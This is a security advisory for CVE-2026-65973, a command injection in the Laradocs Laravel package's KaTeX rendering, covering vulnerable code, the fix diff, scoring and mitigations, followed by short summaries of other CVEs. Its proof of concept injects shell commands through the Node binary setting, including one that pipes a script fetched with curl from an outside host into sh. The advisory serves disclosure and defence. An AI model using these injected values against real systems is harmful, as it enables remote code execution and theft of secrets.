Nov 25, 2026·9 min read·2 visits
Laradocs versions >= 0.4.0 and < 1.0.0 concatenate an unescaped Node.js binary path directly into a proc_open() command string inside KatexExtension.php. Local attackers who can control the LARADOCS_KATEX_NODE_BIN environment variable or laradocs.parser.katex.node_bin configuration can execute arbitrary commands when KaTeX server-side rendering is active. Upgrading to version 1.0.0 remediates the issue by wrapping the binary path in escapeshellarg().
CVE-2026-65973 (GHSA-h746-qpxh-ph7g) is a local operating system command injection vulnerability (CWE-78) in the PeteBishwhip/laradocs package for Laravel. Versions from 0.4.0 to before 1.0.0 fail to sanitize or escape the configured Node.js binary path before passing it as part of a command string to PHP's proc_open() function during server-side KaTeX rendering. An attacker with the ability to modify local configuration files or environment variables can inject shell metacharacters to execute arbitrary OS commands under the privileges of the web server process.
Laradocs (petebishwhip/laradocs) is a Composer package designed for maintaining and rendering version-controlled Markdown documentation directly inside a Laravel application. Among its documentation processing features, Laradocs supports rendering mathematical expressions written in TeX/LaTeX syntax using the KaTeX library. To support environments where client-side JavaScript rendering is undesirable, Laradocs introduced a server-side rendering (SSR) mode in version 0.4.0 via the KatexExtension class.
When server-side rendering is enabled in the application configuration, Laradocs offloads the mathematical typesetting to an external Node.js process. The PHP backend communicates with the Node.js runtime by constructing a command string and invoking PHP's built-in proc_open() process control function. This architectural boundary between the PHP runtime and the underlying operating system shell exposes an execution attack surface governed by how command tokens and arguments are assembled.
In versions 0.4.0 through 0.6.1, the spawnNode() method inside src/Extensions/KatexExtension.php fails to neutralize special elements in the Node.js executable path before concatenating it into the command string. Classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command), this flaw allows an attacker who can manipulate the application configuration or environment variables to inject arbitrary shell commands.
Because proc_open() executes string commands by spawning an intermediate system shell (/bin/sh -c on POSIX systems or cmd.exe /c on Windows), any shell control characters present in the configured binary path are interpreted directly by the shell. Successful exploitation grants the attacker arbitrary command execution within the security context of the PHP web server or PHP-FPM worker process.
The root cause of CVE-2026-65973 is the asymmetric application of shell argument escaping when constructing a command string for proc_open() in src/Extensions/KatexExtension.php. When the spawnNode(string $input) private method is invoked to render a KaTeX string, it retrieves the target Node.js binary path from the $this->nodeBin class property. If $this->nodeBin is null, the value defaults to the literal string 'node'.
The $this->nodeBin property is populated from the Laravel configuration key laradocs.parser.katex.node_bin, which in standard deployments reads from the LARADOCS_KATEX_NODE_BIN environment variable. In the vulnerable implementation, the developer applied PHP's escapeshellarg() function to both the temporary script path ($tmpFile) and the raw mathematical input expression ($input), but concatenated the $node variable directly at the start of the $cmd string without escaping.
PHP's proc_open() function exhibits distinct execution behaviors depending on the data type of its first parameter ($command). When $command is passed as a string, PHP invokes the platform's default command interpreter to parse tokens, handle redirections, and resolve environment path lookups. Consequently, the system shell parses the entire $cmd string before executing the target binary.
Because $node is not enclosed in quotes or escaped via escapeshellarg() or escapeshellcmd(), the command parser treats whitespace and shell metacharacters within $node as syntactic delimiters. If $node contains characters such as semicolons (;), logical operators (&&, ||), pipe symbols (|), or command substitution blocks ($(), backticks), the shell terminates or chains the initial command and executes the injected instructions prior to or alongside the escaped arguments.
The vulnerability was introduced in commit 0fc3a9ddcf9a423a3a92e52b5aae3bfcf2bc153f and affects src/Extensions/KatexExtension.php. In the vulnerable code path, spawnNode() prepares a temporary JavaScript file to execute KaTeX rendering and then builds the execution command on lines 265-268.
// Vulnerable implementation in src/Extensions/KatexExtension.php (Prior to v1.0.0)
private function spawnNode(string $input): ?string
{
// ... [Temporary file initialization omitted] ...
$node = $this->nodeBin ?? 'node';
// VULNERABLE: $node is concatenated directly without shell escaping
$cmd = $node . ' ' . escapeshellarg($tmpFile) . ' ' . escapeshellarg($input);
$descriptors = [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']];
$proc = proc_open($cmd, $descriptors, $pipes);
// ... [Stream reading and process cleanup omitted] ...
}In commit 100cb1e83920b8d3c9d8d53f98712df80df99435, authored by aikido-autofix[bot] and released in version 1.0.0, the flaw was addressed by wrapping the $node variable in escapeshellarg() before concatenation.
--- a/src/Extensions/KatexExtension.php
+++ b/src/Extensions/KatexExtension.php
@@ -263,7 +263,7 @@ private function spawnNode(string $input): ?string
}
$node = $this->nodeBin ?? 'node';
- $cmd = $node . ' ' . escapeshellarg($tmpFile) . ' ' . escapeshellarg($input);
+ $cmd = escapeshellarg($node) . ' ' . escapeshellarg($tmpFile) . ' ' . escapeshellarg($input);
$descriptors = [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']];
$proc = proc_open($cmd, $descriptors, $pipes);On POSIX-compliant operating systems (such as Linux and macOS), escapeshellarg() wraps the input string in single quotes (') and escapes any existing single quotes by replacing them with '\''. This guarantees that /bin/sh interprets the entire $node value strictly as the zero-index program path (argv[0]). Even if $node contains semicolons or spaces (e.g., 'node; id'), the shell attempts to locate a single executable file literally named node; id rather than executing id as a second command.
> [!NOTE]
> Fix Completeness Assessment: While wrapping $node in escapeshellarg() prevents command chaining on POSIX systems, it relies on string-based shell invocation. On Windows systems, PHP's escapeshellarg() wraps arguments in double quotes (") and replaces internal double quotes and percent signs with spaces, which can introduce edge-case behavioral discrepancies with cmd.exe. A more robust architectural fix supported in PHP 7.4 and later is passing an indexed array of arguments directly to proc_open([$node, $tmpFile, $input], $descriptors, $pipes). Passing an array bypasses the intermediate shell entirely (execvp on POSIX), eliminating shell parsing overhead and command injection vectors completely.
Exploiting CVE-2026-65973 requires three specific preconditions. First, the target application must run a vulnerable version of petebishwhip/laradocs (>= 0.4.0 and < 1.0.0). Second, KaTeX server-side rendering must be explicitly enabled in the configuration (laradocs.parser.katex.ssr set to true). Third, the attacker must possess high local or administrative privileges (PR:H, AV:L) allowing them to modify the environment variables, .env file, or dynamic runtime configuration of the Laravel application.
While direct access to modify a .env file or config/laradocs.php on the filesystem often implies existing access, this vector becomes practical in multi-tenant administration panels, CI/CD pipeline injection scenarios, or applications that expose a web-based settings dashboard allowing administrators to update Config::set('laradocs.parser.katex.node_bin', ...) dynamically via database-backed configuration managers.
To trigger the exploit, the attacker sets the Node binary configuration parameter to a string containing a valid command separator followed by an arbitrary shell payload and a trailing comment character (#) to neutralize the remaining escaped arguments:
# Step 1: Inject payload into environment or configuration store
LARADOCS_KATEX_SSR=true
LARADOCS_KATEX_NODE_BIN="node; id > /tmp/laradocs_poc.txt #"Alternatively, if the attacker can modify the runtime configuration array inside Laravel:
// Dynamic configuration tampering example
config(['laradocs.parser.katex.ssr' => true]);
config(['laradocs.parser.katex.node_bin' => '/usr/bin/node; curl -s http://192.0.2.10/payload.sh | sh #']);Once the configuration contains the payload, the attacker requests any documentation route handled by Laradocs that contains a Markdown mathematical block (delimited by $$ or $). When the Markdown parser encounters the math expression, it invokes KatexExtension::spawnNode(), which passes the following string to proc_open():
/bin/sh -c "node; id > /tmp/laradocs_poc.txt # '/tmp/katex_script.js' 'f(x) = x^2'"The shell executes node (which exits immediately or reads from standard input), then executes id > /tmp/laradocs_poc.txt, and treats the trailing '/tmp/katex_script.js' 'f(x) = x^2' tokens as an inline shell comment due to the # character.
CVE-2026-65973 carries a CVSS v3.1 base score of 6.4 (Medium) with the vector CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H. The exploitability sub-score is constrained to 0.5 due to the requirement for local attack vector access (AV:L), high attack complexity (AC:H) stemming from the non-default or conditional activation of KaTeX SSR, and high privileges required (PR:H) to tamper with application configuration settings.
Despite the high prerequisites, the impact sub-score is 5.9, reflecting High ratings across Confidentiality (C:H), Integrity (I:H), and Availability (A:H). When exploited in scenarios where an administrative user has restricted application-level access (for example, access to an application settings UI without direct SSH shell access), this vulnerability provides a privilege escalation boundary crossover from application administrator to operating system shell execution.
An attacker executing commands as the web server user (commonly www-data, nginx, or apache) gains full read access to the Laravel application's .env file, exposing APP_KEY encryption secrets, database credentials, third-party API keys, and cloud storage tokens. Furthermore, the attacker can modify application source code to install persistent web shells, tamper with database records, or terminate backend worker processes.
From a threat intelligence perspective, the Exploit Prediction Scoring System (EPSS) assigns CVE-2026-65973 a score of 0.0063 (0.63% probability of exploitation within 30 days, placing it in the 44.63rd percentile). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no active in-the-wild exploitation campaigns or public weaponized exploit modules currently exist.
The primary remediation for CVE-2026-65973 is to upgrade the petebishwhip/laradocs dependency to version 1.0.0 or later. Version 1.0.0 incorporates commit 100cb1e83920b8d3c9d8d53f98712df80df99435, which ensures the $node binary path is properly escaped with escapeshellarg() prior to command execution.
Administrators and developers can apply the upgrade using Composer:
composer require petebishwhip/laradocs:^1.0.0For deployments where an immediate upgrade to 1.0.0 is blocked by breaking changes or compatibility constraints, several effective workarounds exist to neutralize the attack path:
LARADOCS_KATEX_SSR=false in the application's .env file or set 'ssr' => false under the parser.katex key in config/laradocs.php. When SSR is disabled, Laradocs falls back to client-side rendering in the browser and never invokes KatexExtension::spawnNode() or proc_open()..env and config/laradocs.php (e.g., chmod 0440 or 0400 owned by a deployment user rather than the web server runtime user). Ensure that no web-accessible administrative interfaces allow arbitrary modification of the laradocs.parser.katex.node_bin configuration key./^\/[a-zA-Z0-9_\-\.\/]+$/) and verify executable existence with is_executable() before passing it to the configuration store.CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
laradocs PeteBishwhip | >= 0.4.0, < 1.0.0 | 1.0.0 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-78: OS Command Injection |
| Affected Component | KatexExtension::spawnNode() in src/Extensions/KatexExtension.php |
| Attack Vector | Local (AV:L) via unescaped Node.js binary path configuration |
| CVSS v3.1 Score | 6.4 Medium (CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| EPSS Score | 0.63% (44.63rd Percentile) |
| Impact | Arbitrary OS command execution as the PHP web server user |
| Exploit Status | No known public exploits or active exploitation |
| CISA KEV Status | Not Listed |
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
A SQL injection vulnerability exists in power-components/livewire-powergrid versions 6.0.0 through 6.10.3. The public Livewire component property sortDirection is interpolated directly into raw SQL ORDER BY clauses during natural sorting operations without prior validation. By clearing the sortField property to bypass standard Laravel query builder protections, an attacker can inject arbitrary SQL expressions via POST requests to the /livewire/update endpoint.
CVE-2026-68539 is a remote Denial of Service (DoS) vulnerability in Fulgur, a Rust-based offline HTML/CSS-to-PDF rendering engine. Prior to version 0.29.0, the engine's CSS Generated Content for Paged Media (GCPM) implementation resolved and stored named strings via the string-set property without enforcing memory caps or caching DOM subtree text extraction. An unauthenticated attacker supplying crafted HTML and CSS to a rendering endpoint can trigger multi-gigabyte heap memory allocations and redundant O(M * L) subtree traversals, leading to CPU starvation and out-of-memory (OOM) process aborts.
A stored cross-site scripting (XSS) vulnerability in @waline/client allows unauthenticated attackers to execute arbitrary JavaScript in the context of an administrator's browser session. The flaw exists because the client-side markdown preview renderer utilizes the marked library without HTML sanitization and injects the resulting output directly into the DOM via Vue's v-html directive. When an administrator opens the edit interface for a comment, the preview element is mounted and evaluated immediately due to the combination of watchImmediate and v-show, leading to automatic payload execution and administrative token compromise.
WWBN AVideo versions through 29.0 contain an OS command injection vulnerability (CWE-78) in the standalone API utility function listFFmpegProcesses(). The function constructs a shell pipeline to monitor active FFmpeg processes by interpolating a user-controlled keyword parameter directly into a single-quoted grep argument without sanitization or shell escaping. An attacker capable of crafting or submitting a valid encrypted codeToExec payload can break out of the single-quoted argument context and execute arbitrary operating system commands with the privileges of the web server user.
Ruflo versions prior to 3.16.3 expose the Model Context Protocol (MCP) bridge HTTP endpoints (`POST /mcp` and `POST /mcp/:group`) on all network interfaces (`0.0.0.0:3001`) without authentication. Because the primary JSON-RPC tool dispatcher (`executeTool()`) bypasses existing tool blocklists, an unauthenticated network attacker can invoke the `terminal_execute` tool to achieve arbitrary command execution inside the bridge container. This initial access permits full exfiltration of third-party LLM provider API keys, unauthorized access to the co-located MongoDB instance, and manipulation of the AgentDB learning store.
In etcd versions prior to 3.5.32 and 3.6.13, configuring the server with --listen-client-http-urls decouples HTTP and gRPC traffic onto distinct network listeners. Due to an implementation flaw in how TLS configurations are passed to the gRPC server instance, the Certificate Revocation List (CRL) defined by --client-crl-file is enforced exclusively on the HTTP listener and omitted entirely on the dedicated gRPC listener. This allows an adversary possessing a revoked, CA-signed client certificate to bypass mutual TLS (mTLS) revocation checks and authenticate directly to the gRPC interface.